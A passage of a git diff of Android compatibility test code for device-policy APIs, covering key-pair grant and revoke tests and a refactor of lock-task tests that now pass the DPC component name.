+            sDeviceState.dpc().devicePolicyManager().revokeKeyPairFromWifiAuth(RSA_ALIAS);
+
+            assertThat(
+                    sDeviceState.dpc().devicePolicyManager().isKeyPairGrantedToWifiAuth(RSA_ALIAS))
+                    .isFalse();
+        } finally {
+            // Remove keypair
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = KeyManagement.class)
+    public void grantKeyPair_keyUsable() throws Exception {
+        try {
+            sDeviceState.dpc().devicePolicyManager().installKeyPair(
+                    DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATES,
+                    RSA_ALIAS, /* requestAccess= */ false);
+            sDeviceState.dpc().devicePolicyManager().grantKeyPairToApp(
+                    DPC_COMPONENT_NAME, RSA_ALIAS, sContext.getPackageName()
+            );
+
+            PrivateKey key = KeyChain.getPrivateKey(sContext, RSA_ALIAS);
+
+            signDataWithKey("SHA256withRSA", key); // Doesn't throw exception
+        } finally {
+            // Remove keypair
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = KeyManagement.class)
+    public void revokeKeyPairFromApp_keyNotUsable() throws Exception {
+        try {
+            sDeviceState.dpc().devicePolicyManager().installKeyPair(
+                    DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATES,
+                    RSA_ALIAS, /* requestAccess= */ false);
+            sDeviceState.dpc().devicePolicyManager().grantKeyPairToApp(
+                    DPC_COMPONENT_NAME, RSA_ALIAS, sContext.getPackageName()
+            );
+            // Key is requested from KeyChain prior to revoking the grant.
+            PrivateKey key = KeyChain.getPrivateKey(sContext, RSA_ALIAS);
+
+            sDeviceState.dpc().devicePolicyManager().revokeKeyPairFromApp(
+                    DPC_COMPONENT_NAME, RSA_ALIAS, sContext.getPackageName());
+
+            // Key shouldn't be valid after the grant is revoked.
+            Assert.assertThrows(
+                    InvalidKeyException.class, () -> signDataWithKey("SHA256withRSA", key));
+        } finally {
+            // Remove keypair
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+        }
+    }
+
+    private byte[] signDataWithKey(String algoIdentifier, PrivateKey privateKey) throws Exception {
+        byte[] data = "hello".getBytes();
+        Signature sign = Signature.getInstance(algoIdentifier);
+        sign.initSign(privateKey);
+        sign.update(data);
+        return sign.sign();
+    }
+
+    private static class KeyChainAliasCallback extends BlockingCallback<String> implements
+            android.security.KeyChainAliasCallback {
+
+        @Override
+        public void alias(final String chosenAlias) {
+            callbackTriggered(chosenAlias);
+        }
+    }
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/LockTaskTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/LockTaskTest.java
index 943d73f..6f9128d 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/LockTaskTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/LockTaskTest.java
@@ -31,6 +31,9 @@
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.content.pm.PackageManager.FEATURE_TELEPHONY;
 
+import static com.android.bedstead.metricsrecorder.truth.MetricQueryBuilderSubject.assertThat;
+import static com.android.bedstead.remotedpc.RemoteDpc.DPC_COMPONENT_NAME;
+import static com.android.eventlib.truth.EventLogsSubject.assertThat;
 import static com.android.queryable.queries.StringQuery.string;
 
 import static com.google.common.truth.Truth.assertThat;
@@ -61,17 +64,12 @@
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.activities.Activity;
 import com.android.bedstead.nene.packages.ComponentReference;
-import com.android.bedstead.nene.packages.PackageReference;
-import com.android.bedstead.remotedpc.RemoteDpc;
+import com.android.bedstead.nene.utils.Poll;
 import com.android.bedstead.testapp.TestApp;
 import com.android.bedstead.testapp.TestAppActivity;
 import com.android.bedstead.testapp.TestAppActivityReference;
-import com.android.bedstead.testapp.TestAppInstanceReference;
+import com.android.bedstead.testapp.TestAppInstance;
 import com.android.bedstead.testapp.TestAppProvider;
-import com.android.compatibility.common.util.PollingCheck;
-import com.android.eventlib.EventLogs;
-import com.android.eventlib.events.activities.ActivityDestroyedEvent;
-import com.android.eventlib.events.activities.ActivityStartedEvent;
 
 import org.junit.ClassRule;
 import org.junit.Rule;
@@ -81,26 +79,23 @@
 import java.util.Set;
 
 @RunWith(BedsteadJUnit4.class)
-public class LockTaskTest {
+public final class LockTaskTest {
 
-    private static final String PACKAGE_NAME = "com.android.package.test";
-
-    @ClassRule @Rule
+    @ClassRule
+    @Rule
     public static final DeviceState sDeviceState = new DeviceState();
-
-    private static final TestApis sTestApis = new TestApis();
-
+    private static final String PACKAGE_NAME = "com.android.package.test";
     private static final DevicePolicyManager sLocalDevicePolicyManager =
-            sTestApis.context().instrumentedContext().getSystemService(DevicePolicyManager.class);
+            TestApis.context().instrumentedContext().getSystemService(DevicePolicyManager.class);
 
-    private static final int[] INDIVIDUALLY_SETTABLE_FLAGS = new int[] {
+    private static final int[] INDIVIDUALLY_SETTABLE_FLAGS = new int[]{
             LOCK_TASK_FEATURE_SYSTEM_INFO,
             LOCK_TASK_FEATURE_HOME,
             LOCK_TASK_FEATURE_GLOBAL_ACTIONS,
             LOCK_TASK_FEATURE_KEYGUARD
     };
 
-    private static final int[] FLAGS_SETTABLE_WITH_HOME = new int[] {
+    private static final int[] FLAGS_SETTABLE_WITH_HOME = new int[]{
             LOCK_TASK_FEATURE_SYSTEM_INFO,
             LOCK_TASK_FEATURE_OVERVIEW,
             LOCK_TASK_FEATURE_NOTIFICATIONS,
@@ -110,378 +105,417 @@
 
     private static final TestAppProvider sTestAppProvider = new TestAppProvider();
     private static final TestApp sLockTaskTestApp = sTestAppProvider.query()
-            .wherePackageName().isEqualTo("android.LockTaskApp")
+            .wherePackageName().isEqualTo("com.android.bedstead.testapp.LockTaskApp")
             .get(); // TODO(scottjonathan): filter by containing activity not by package name
-    private static final TestApp sTestApp = sTestAppProvider.any();
+    private static final TestApp sTestApp =
+            sTestAppProvider.query().whereActivities().isNotEmpty().get();
 
-    private static final TestApp sSecondTestApp = sTestAppProvider.any();
+    private static final TestApp sSecondTestApp =
+            sTestAppProvider.query().whereActivities().isNotEmpty().get();
 
     private static final ComponentReference BLOCKED_ACTIVITY_COMPONENT =
-            sTestApis.packages().component(new ComponentName(
+            TestApis.packages().component(new ComponentName(
                     "android", "com.android.internal.app.BlockedAppActivity"));
 
     private static final String ACTION_EMERGENCY_DIAL = "com.android.phone.EmergencyDialer.DIAL";
 
     @Test
-    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void setLockTaskPackages_lockTaskPackagesIsSet() {
         String[] originalLockTaskPackages =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
+                sDeviceState.dpc().devicePolicyManager()
+                        .getLockTaskPackages(DPC_COMPONENT_NAME);
 
-        sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(new String[]{PACKAGE_NAME});
+        sDeviceState.dpc().devicePolicyManager()
+                .setLockTaskPackages(DPC_COMPONENT_NAME, new String[]{PACKAGE_NAME});
 
         try {
-            assertThat(sDeviceState.dpc().devicePolicyManager().getLockTaskPackages()).asList()
+            assertThat(sDeviceState.dpc().devicePolicyManager()
+                    .getLockTaskPackages(DPC_COMPONENT_NAME)).asList()
                     .containsExactly(PACKAGE_NAME);
         } finally {
-            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(originalLockTaskPackages);
+            sDeviceState.dpc().devicePolicyManager()
+                    .setLockTaskPackages(DPC_COMPONENT_NAME, originalLockTaskPackages);
         }
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void startLockTask_recordsMetric() {
         String[] originalLockTaskPackages =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
+                sDeviceState.dpc().devicePolicyManager()
+                        .getLockTaskPackages(DPC_COMPONENT_NAME);
 
         try (EnterpriseMetricsRecorder metrics = EnterpriseMetricsRecorder.create();
-             TestAppInstanceReference testApp = sTestApp.install(sTestApis.users().instrumented())){
-            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(new String[]{sTestApp.packageName()});
+             TestAppInstance testApp = sTestApp.install()) {
+            sDeviceState.dpc().devicePolicyManager()
+                    .setLockTaskPackages(DPC_COMPONENT_NAME, new String[]{sTestApp.packageName()});
             Activity<TestAppActivity> activity = testApp.activities().any().start();
 
             try {
                 activity.startLockTask();
 
-                // TODO(b/191745956): Improve metrics query interface
                 assertThat(metrics.query()
                         .whereType().isEqualTo(EventId.SET_LOCKTASK_MODE_ENABLED_VALUE)
-                        .whereAdminPackageName().isEqualTo(
-                                RemoteDpc.DPC_COMPONENT_NAME.getPackageName())
+                        .whereAdminPackageName().isEqualTo(DPC_COMPONENT_NAME.getPackageName())
                         .whereBoolean().isTrue()
                         .whereStrings().contains(
                                 string().isEqualTo(sTestApp.packageName())
-                        )
-                        .poll()).isNotNull();
+                        )).wasLogged();
             } finally {
                 activity.stopLockTask();
             }
         } finally {
-            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(originalLockTaskPackages);
+            sDeviceState.dpc().devicePolicyManager()
+                    .setLockTaskPackages(DPC_COMPONENT_NAME, originalLockTaskPackages);
         }
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @CannotSetPolicyTest(policy = LockTask.class)
     public void getLockTaskPackages_policyIsNotAllowedToBeFetched_throwsException() {
         assertThrows(SecurityException.class,
-                () -> sDeviceState.dpc().devicePolicyManager().getLockTaskPackages());
+                () -> sDeviceState.dpc().devicePolicyManager()
+                        .getLockTaskPackages(DPC_COMPONENT_NAME));
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void setLockTaskPackages_empty_lockTaskPackagesIsSet() {
         String[] originalLockTaskPackages =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
+                sDeviceState.dpc().devicePolicyManager()
+                        .getLockTaskPackages(DPC_COMPONENT_NAME);
 
-        sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(new String[]{});
+        sDeviceState.dpc().devicePolicyManager()
+                .setLockTaskPackages(DPC_COMPONENT_NAME, new String[]{});
 
         try {
-            assertThat(sDeviceState.dpc().devicePolicyManager().getLockTaskPackages()).asList()
+            assertThat(sDeviceState.dpc().devicePolicyManager()
+                    .getLockTaskPackages(DPC_COMPONENT_NAME)).asList()
                     .isEmpty();
         } finally {
-            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(originalLockTaskPackages);
+            sDeviceState.dpc().devicePolicyManager()
+                    .setLockTaskPackages(DPC_COMPONENT_NAME, originalLockTaskPackages);
         }
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void setLockTaskPackages_includesPolicyExemptApp_lockTaskPackagesIsSet() {
-        Set<String> policyExemptApps = sTestApis.devicePolicy().getPolicyExemptApps();
+        Set<String> policyExemptApps = TestApis.devicePolicy().getPolicyExemptApps();
         assumeFalse("OEM does not define any policy-exempt apps",
                 policyExemptApps.isEmpty());
         String[] originalLockTaskPackages =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
+                sDeviceState.dpc().devicePolicyManager()
+                        .getLockTaskPackages(DPC_COMPONENT_NAME);
         String policyExemptApp = policyExemptApps.iterator().next();
 
-        sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(new String[]{policyExemptApp});
+        sDeviceState.dpc().devicePolicyManager()
+                .setLockTaskPackages(DPC_COMPONENT_NAME, new String[]{policyExemptApp});
 
         try {
-            assertThat(sDeviceState.dpc().devicePolicyManager().getLockTaskPackages()).asList()
+            assertThat(sDeviceState.dpc().devicePolicyManager()
+                    .getLockTaskPackages(DPC_COMPONENT_NAME)).asList()
                     .containsExactly(policyExemptApp);
         } finally {
-            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(originalLockTaskPackages);
+            sDeviceState.dpc().devicePolicyManager()
+                    .setLockTaskPackages(DPC_COMPONENT_NAME, originalLockTaskPackages);
         }
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @CannotSetPolicyTest(policy = LockTask.class)
     public void setLockTaskPackages_policyIsNotAllowedToBeSet_throwsException() {
         assertThrows(SecurityException.class,
-                () -> sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(new String[]{}));
+                () -> sDeviceState.dpc().devicePolicyManager()
+                        .setLockTaskPackages(DPC_COMPONENT_NAME, new String[]{}));
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void isLockTaskPermitted_lockTaskPackageIsSet_returnsTrue() {
         String[] originalLockTaskPackages =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
+                sDeviceState.dpc().devicePolicyManager()
+                        .getLockTaskPackages(DPC_COMPONENT_NAME);
 
-        sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(new String[]{PACKAGE_NAME});
+        sDeviceState.dpc().devicePolicyManager()
+                .setLockTaskPackages(DPC_COMPONENT_NAME, new String[]{PACKAGE_NAME});
 
         try {
             assertThat(sLocalDevicePolicyManager.isLockTaskPermitted(PACKAGE_NAME)).isTrue();
         } finally {
-            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(originalLockTaskPackages);
+            sDeviceState.dpc().devicePolicyManager()
+                    .setLockTaskPackages(DPC_COMPONENT_NAME, originalLockTaskPackages);
         }
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @NegativePolicyTest(policy = LockTask.class)
     // TODO(scottjonathan): Confirm expected behaviour here
     public void isLockTaskPermitted_lockTaskPackageIsSet_policyDoesntApply_returnsFalse() {
         String[] originalLockTaskPackages =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
+                sDeviceState.dpc().devicePolicyManager()
+                        .getLockTaskPackages(DPC_COMPONENT_NAME);
 
-        sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(new String[]{PACKAGE_NAME});
+        sDeviceState.dpc().devicePolicyManager()
+                .setLockTaskPackages(DPC_COMPONENT_NAME, new String[]{PACKAGE_NAME});
 
         try {
             assertThat(sLocalDevicePolicyManager.isLockTaskPermitted(PACKAGE_NAME)).isFalse();
         } finally {
-            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(originalLockTaskPackages);
+            sDeviceState.dpc().devicePolicyManager()
+                    .setLockTaskPackages(DPC_COMPONENT_NAME, originalLockTaskPackages);
         }
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void isLockTaskPermitted_lockTaskPackageIsNotSet_returnsFalse() {
         String[] originalLockTaskPackages =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
+                sDeviceState.dpc().devicePolicyManager()
+                        .getLockTaskPackages(DPC_COMPONENT_NAME);
 
-        sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(new String[]{});
+        sDeviceState.dpc().devicePolicyManager()
+                .setLockTaskPackages(DPC_COMPONENT_NAME, new String[]{});
 
         try {
             assertThat(sLocalDevicePolicyManager.isLockTaskPermitted(PACKAGE_NAME)).isFalse();
         } finally {
-            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(originalLockTaskPackages);
+            sDeviceState.dpc().devicePolicyManager()
+                    .setLockTaskPackages(DPC_COMPONENT_NAME, originalLockTaskPackages);
         }
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void isLockTaskPermitted_includesPolicyExemptApps() {
-        Set<String> policyExemptApps = sTestApis.devicePolicy().getPolicyExemptApps();
+        Set<String> policyExemptApps = TestApis.devicePolicy().getPolicyExemptApps();
         // TODO(b/188035301): Add a unit test which ensures this actually gets tested
         assumeFalse("OEM does not define any policy-exempt apps",
                 policyExemptApps.isEmpty());
         String[] originalLockTaskPackages =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
+                sDeviceState.dpc().devicePolicyManager()
+                        .getLockTaskPackages(DPC_COMPONENT_NAME);
 
         try {
-            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(new String[]{});
+            sDeviceState.dpc().devicePolicyManager()
+                    .setLockTaskPackages(DPC_COMPONENT_NAME, new String[]{});
 
             for (String app : policyExemptApps) {
                 assertWithMessage("isLockTaskPermitted(%s)", app)
                         .that(sLocalDevicePolicyManager.isLockTaskPermitted(app)).isTrue();
             }
         } finally {
-            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(originalLockTaskPackages);
+            sDeviceState.dpc().devicePolicyManager()
+                    .setLockTaskPackages(DPC_COMPONENT_NAME, originalLockTaskPackages);
         }
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
-    // TODO(scottjonathan): Support additional parameterization for cases like this
+    // TODO(b/188893663): Support additional parameterization for cases like this
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void setLockTaskFeatures_overviewFeature_setsFeature() {
         int originalLockTaskFeatures =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskFeatures();
+                sDeviceState.dpc().devicePolicyManager()
+                        .getLockTaskFeatures(DPC_COMPONENT_NAME);
 
         try {
             for (int flag : INDIVIDUALLY_SETTABLE_FLAGS) {
-                sDeviceState.dpc().devicePolicyManager().setLockTaskFeatures(flag);
+                sDeviceState.dpc().devicePolicyManager()
+                        .setLockTaskFeatures(DPC_COMPONENT_NAME, flag);
 
-                assertThat(sDeviceState.dpc().devicePolicyManager().getLockTaskFeatures())
+                assertThat(sDeviceState.dpc().devicePolicyManager()
+                        .getLockTaskFeatures(DPC_COMPONENT_NAME))
                         .isEqualTo(flag);
             }
         } finally {
-            sDeviceState.dpc().devicePolicyManager().setLockTaskFeatures(originalLockTaskFeatures);
+            sDeviceState.dpc().devicePolicyManager()
+                    .setLockTaskFeatures(DPC_COMPONENT_NAME, originalLockTaskFeatures);
         }
     }
 
 
     @Test
-    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void setLockTaskFeatures_overviewFeature_throwsException() {
         // Overview can only be used in combination with home
         int originalLockTaskFeatures =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskFeatures();
+                sDeviceState.dpc().devicePolicyManager()
+                        .getLockTaskFeatures(DPC_COMPONENT_NAME);
 
         try {
             assertThrows(IllegalArgumentException.class, () -> {
                 sDeviceState.dpc().devicePolicyManager()
-                        .setLockTaskFeatures(LOCK_TASK_FEATURE_OVERVIEW);
+                        .setLockTaskFeatures(DPC_COMPONENT_NAME, LOCK_TASK_FEATURE_OVERVIEW);
             });
         } finally {
-            sDeviceState.dpc().devicePolicyManager().setLockTaskFeatures(originalLockTaskFeatures);
+            sDeviceState.dpc().devicePolicyManager()
+                    .setLockTaskFeatures(DPC_COMPONENT_NAME, originalLockTaskFeatures);
         }
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void setLockTaskFeatures_notificationsFeature_throwsException() {
         // Notifications can only be used in combination with home
         int originalLockTaskFeatures =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskFeatures();
+                sDeviceState.dpc().devicePolicyManager()
+                        .getLockTaskFeatures(DPC_COMPONENT_NAME);
 
         try {
             assertThrows(IllegalArgumentException.class, () -> {
                 sDeviceState.dpc().devicePolicyManager()
-                        .setLockTaskFeatures(LOCK_TASK_FEATURE_NOTIFICATIONS);
+                        .setLockTaskFeatures(DPC_COMPONENT_NAME, LOCK_TASK_FEATURE_NOTIFICATIONS);
             });
         } finally {
-            sDeviceState.dpc().devicePolicyManager().setLockTaskFeatures(originalLockTaskFeatures);
+            sDeviceState.dpc().devicePolicyManager()
+                    .setLockTaskFeatures(DPC_COMPONENT_NAME, originalLockTaskFeatures);
         }
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
-    // TODO(scottjonathan): Support additional parameterization for cases like this
+    // TODO(b/188893663): Support additional parameterization for cases like this
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void setLockTaskFeatures_multipleFeatures_setsFeatures() {
         int originalLockTaskFeatures =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskFeatures();
+                sDeviceState.dpc().devicePolicyManager()
+                        .getLockTaskFeatures(DPC_COMPONENT_NAME);
 
         try {
             for (int flag : FLAGS_SETTABLE_WITH_HOME) {
-                sDeviceState.dpc().devicePolicyManager().setLockTaskFeatures(
-                        LOCK_TASK_FEATURE_HOME | flag);
+                sDeviceState.dpc().devicePolicyManager()
+                        .setLockTaskFeatures(DPC_COMPONENT_NAME, LOCK_TASK_FEATURE_HOME | flag);
 
-                assertThat(sDeviceState.dpc().devicePolicyManager().getLockTaskFeatures())
+                assertThat(sDeviceState.dpc().devicePolicyManager()
+                        .getLockTaskFeatures(DPC_COMPONENT_NAME))
                         .isEqualTo(LOCK_TASK_FEATURE_HOME | flag);
             }
         } finally {
-            sDeviceState.dpc().devicePolicyManager().setLockTaskFeatures(originalLockTaskFeatures);
+            sDeviceState.dpc().devicePolicyManager()
+                    .setLockTaskFeatures(DPC_COMPONENT_NAME, originalLockTaskFeatures);
         }
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @CannotSetPolicyTest(policy = LockTask.class)
     public void setLockTaskFeatures_policyIsNotAllowedToBeSet_throwsException() {
         assertThrows(SecurityException.class, () ->
-                sDeviceState.dpc().devicePolicyManager().setLockTaskFeatures(LOCK_TASK_FEATURE_NONE));
+                sDeviceState.dpc().devicePolicyManager()
+                        .setLockTaskFeatures(DPC_COMPONENT_NAME, LOCK_TASK_FEATURE_NONE));
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @CannotSetPolicyTest(policy = LockTask.class)
     public void getLockTaskFeatures_policyIsNotAllowedToBeFetched_throwsException() {
         assertThrows(SecurityException.class, () ->
-                sDeviceState.dpc().devicePolicyManager().getLockTaskFeatures());
+                sDeviceState.dpc().devicePolicyManager()
+                        .getLockTaskFeatures(DPC_COMPONENT_NAME));
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void startLockTask_includedInLockTaskPackages_taskIsLocked() {
         String[] originalLockTaskPackages =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
-        sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
-                new String[]{sTestApp.packageName()});
-        try (TestAppInstanceReference testApp =
-                     sTestApp.install(sTestApis.users().instrumented())) {
+                sDeviceState.dpc().devicePolicyManager()
+                        .getLockTaskPackages(DPC_COMPONENT_NAME);
+        sDeviceState.dpc().devicePolicyManager()
+                .setLockTaskPackages(DPC_COMPONENT_NAME, new String[]{sTestApp.packageName()});
+        try (TestAppInstance testApp = sTestApp.install()) {
             Activity<TestAppActivity> activity = testApp.activities().any().start();
 
             activity.startLockTask();
 
             try {
-                assertThat(sTestApis.activities().foregroundActivity()).isEqualTo(
+                assertThat(TestApis.activities().foregroundActivity()).isEqualTo(
                         activity.activity().component());
-                assertThat(sTestApis.activities().getLockTaskModeState()).isEqualTo(
+                assertThat(TestApis.activities().getLockTaskModeState()).isEqualTo(
                         LOCK_TASK_MODE_LOCKED);
             } finally {
                 activity.stopLockTask();
             }
         } finally {
-            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(originalLockTaskPackages);
+            sDeviceState.dpc().devicePolicyManager()
+                    .setLockTaskPackages(DPC_COMPONENT_NAME, originalLockTaskPackages);
         }
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void startLockTask_notIncludedInLockTaskPackages_taskIsNotLocked() {
         String[] originalLockTaskPackages =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
-        sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(new String[]{});
-        try (TestAppInstanceReference testApp =
-                     sTestApp.install(sTestApis.users().instrumented())) {
+                sDeviceState.dpc().devicePolicyManager()
+                        .getLockTaskPackages(DPC_COMPONENT_NAME);
+        sDeviceState.dpc().devicePolicyManager()
+                .setLockTaskPackages(DPC_COMPONENT_NAME, new String[]{});
+        try (TestAppInstance testApp = sTestApp.install()) {
             Activity<TestAppActivity> activity = testApp.activities().any().start();
 
             activity.activity().startLockTask();
 
             try {
-                assertThat(sTestApis.activities().foregroundActivity()).isEqualTo(
+                assertThat(TestApis.activities().foregroundActivity()).isEqualTo(
                         activity.activity().component());
-                assertThat(sTestApis.activities().getLockTaskModeState()).isNotEqualTo(
+                assertThat(TestApis.activities().getLockTaskModeState()).isNotEqualTo(
                         LOCK_TASK_MODE_LOCKED);
             } finally {
                 activity.stopLockTask();
             }
         } finally {
-            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(originalLockTaskPackages);
+            sDeviceState.dpc().devicePolicyManager()
+                    .setLockTaskPackages(DPC_COMPONENT_NAME, originalLockTaskPackages);
         }
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @NegativePolicyTest(policy = LockTask.class)
     public void startLockTask_includedInLockTaskPackages_policyShouldNotApply_taskIsNotLocked() {
         String[] originalLockTaskPackages =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
-        sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
-                new String[]{sTestApp.packageName()});
-        try (TestAppInstanceReference testApp =
-                     sTestApp.install(sTestApis.users().instrumented())) {
+                sDeviceState.dpc().devicePolicyManager()
+                        .getLockTaskPackages(DPC_COMPONENT_NAME);
+        sDeviceState.dpc().devicePolicyManager()
+                .setLockTaskPackages(DPC_COMPONENT_NAME, new String[]{sTestApp.packageName()});
+        try (TestAppInstance testApp = sTestApp.install()) {
             Activity<TestAppActivity> activity = testApp.activities().any().start();
 
             activity.activity().startLockTask();
 
             try {
-                assertThat(sTestApis.activities().foregroundActivity()).isEqualTo(
+                assertThat(TestApis.activities().foregroundActivity()).isEqualTo(
                         activity.activity().component());
-                assertThat(sTestApis.activities().getLockTaskModeState()).isNotEqualTo(
+                assertThat(TestApis.activities().getLockTaskModeState()).isNotEqualTo(
                         LOCK_TASK_MODE_LOCKED);
             } finally {
                 activity.stopLockTask();
             }
         } finally {
-            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(originalLockTaskPackages);
+            sDeviceState.dpc().devicePolicyManager()
+                    .setLockTaskPackages(DPC_COMPONENT_NAME, originalLockTaskPackages);
         }
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void finish_isLocked_doesNotFinish() {
         String[] originalLockTaskPackages =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
-        sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
-                new String[]{sTestApp.packageName()});
-        try (TestAppInstanceReference testApp =
-                     sTestApp.install(sTestApis.users().instrumented())) {
+                sDeviceState.dpc().devicePolicyManager()
+                        .getLockTaskPackages(DPC_COMPONENT_NAME);
+        sDeviceState.dpc().devicePolicyManager()
+                .setLockTaskPackages(DPC_COMPONENT_NAME, new String[]{sTestApp.packageName()});
+        try (TestAppInstance testApp = sTestApp.install()) {
             Activity<TestAppActivity> activity = testApp.activities().any().start();
             activity.startLockTask();
 
@@ -490,126 +524,116 @@
             try {
                 // We don't actually watch for the Destroyed event because that'd be waiting for a
                 // non occurrence of an event which is slow
-                assertThat(sTestApis.activities().foregroundActivity()).isEqualTo(
+                assertThat(TestApis.activities().foregroundActivity()).isEqualTo(
                         activity.activity().component());
-                assertThat(sTestApis.activities().getLockTaskModeState()).isEqualTo(
+                assertThat(TestApis.activities().getLockTaskModeState()).isEqualTo(
                         LOCK_TASK_MODE_LOCKED);
             } finally {
                 activity.stopLockTask();
             }
         } finally {
-            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(originalLockTaskPackages);
+            sDeviceState.dpc().devicePolicyManager()
+                    .setLockTaskPackages(DPC_COMPONENT_NAME, originalLockTaskPackages);
         }
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void finish_hasStoppedLockTask_doesFinish() {
         String[] originalLockTaskPackages =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
-        sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
-                new String[]{sTestApp.packageName()});
-        try (TestAppInstanceReference testApp =
-                     sTestApp.install(sTestApis.users().instrumented())) {
+                sDeviceState.dpc().devicePolicyManager()
+                        .getLockTaskPackages(DPC_COMPONENT_NAME);
+        sDeviceState.dpc().devicePolicyManager()
+                .setLockTaskPackages(DPC_COMPONENT_NAME, new String[]{sTestApp.packageName()});
+        try (TestAppInstance testApp = sTestApp.install()) {
             Activity<TestAppActivity> activity = testApp.activities().any().start();
             activity.startLockTask();
             activity.stopLockTask();
 
